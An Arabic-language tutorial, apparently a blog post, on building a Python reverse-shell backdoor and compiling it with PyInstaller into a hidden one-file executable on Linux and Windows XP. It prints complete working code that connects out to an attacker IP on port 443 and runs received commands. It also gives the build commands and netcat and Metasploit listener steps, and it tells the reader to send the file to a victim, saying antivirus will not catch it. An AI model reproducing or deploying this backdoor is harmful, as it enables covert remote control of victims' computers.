سنحتاج سواء في لينُكس أو ويندوز الى التالي:
- لغة بايثون (سأشرح على بايثون 2.7)
- Python for Windows extensions
- وكذلك الى PyInstaller
الآن لنبدأ العمل على نظام لينُكس، حيث سأستعمل توزيعة BackTrack5 وكل الذي علي فعله هو تحميل PyInstaller وفك ضغطه في مجلد معيين ولنفرض في المجلد التالي:
/root/pyinstaller-1.5/
الآن قم بإنشاء ملفين بداخل المجلد أعلاه … الأول سميه shell.py وضع فيه التالي:
#!/usr/bin/python # imports here import socket,subprocess HOST = '172.16.32.137' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while 1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == "quit": break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close()
/usr/bin/python Configure.py /usr/bin/python Makespec.py --onefile --noconsole shell.py /usr/bin/python Build.py shell/shell.spec
الآن كل الذي عليك فعله هو إضافة صلاحيات التشغيل الى compile.bat ومن ثم تشغيله … ستجد الناتج في المجلد التالي:
shell/dist/shell
file shell/dist/shell
netcat -lvp 443

الآن لنبدأ العمل على ويندوز … وسأستعمل في هذا المثال Windows XP SP2 … أول حاجة نعملها هي تركيب بايثون وتركيب Python for Windows extensions الصحيح للنسخة التي لديك، يعني لدينا بايثون 2.7 نستعمل النسخة pywin32-215.win32-py2.7.exe وليس غير ذلك … أيضا هناك طريقتين لتركيب PyInstaller في ويندوز … إما تفك ضغطهم في داخل مجلد البايثون وإما تضعه في مسار منفصل … أختر ما يناسبك … أهم حاجة في الطريقة الثانية يكون لديك الإعدادات للمتغيير PythonPath صحيحة وهذه يمكن عملها من خلال التالي:
1- قم بعمل Right Click على My Computer وأختر Properties
2- قم بإختيار Advanced ومن ثم Environment Variables
3- بعد ذلك في الأسفل عند System Variables قم بإختيار New لنعمل متغيير جديد … سميه PythonPath وضع في قيمته التالي:
C:\PYTHON27;C:\PYTHON27\DLLs;C:\PYTHON27\LIB;C:\PYTHON27\LIB\LIB-TK


هذا طبعاً في حالة إستعمالك لبايثون 2.7، إن كان حاجة أخرى قم بوضع رقم تلك النسخة بدل من PYTHON27 ضع مثلا PYTHON26 وهكذا …
4- قم بعمل إعادة التشغيل للنظام ويندوز (هكذا على XP) …
الآن تم تجهيز النظام كل الذي علينا فعله هو عمل ملفين في داخل مجلد PyInstaller وهما نفس الملفات التي عملناها سابقا مع شوية تعديل (واحد shell.py والآخر compile.bat) … في الأول ضع الكود الموجود في بداية هذا الموضوع (كود الـ Backdoor) … وفي الثاني ضع التالي:
python Configure.py python Makespec.py --onefile --noconsole shell.py python Build.py shell\shell.spec
cd c:\Python27\ compile.bat
لتجربته هذه المرة سأستعمل Metasploit Multihandler كما في الصورة بالأسفل:

بعد ذلك قم بتشغيل البرنامج التنفيذي الذي عملته على جهاز الويندوز (أي الـ Backdoor) بالضغط عليه مرتين … وانظر بعدها الى الطرفية، ستجد إنك حصلت على shell على الجهاز الآخر (الويندوز) …

طبعاً هذا الشرح كان بهدف توضيح كيفية عمل التحويل الى ملف تنفيذي … وكذلك الإشارة الى إنه ممكن نعمل backdoor في بايثون (المصدر secmaniac) … الآن المتبقي عليك فعله هو كيفية إرسال هذا الملف الى الضحية وزرع هذا الـ Backdoor في جهازه … وكما قال ReL1K في مدونته، فعلا كل برامج مكافحة الفيروسات لن تكشفه … أليك الصورة التالية:

عيب هذا الـ Backdoor الوحيد حسب رأيي هو حجمه الكبير … ياله تجربة موفقة للجميع …
المصادر:
Pywin32 | Python on Windows FAQ | Secmanic | 13 Line Backdoor | PyInstaller


Menu
Cat Widget
رسالة إدارية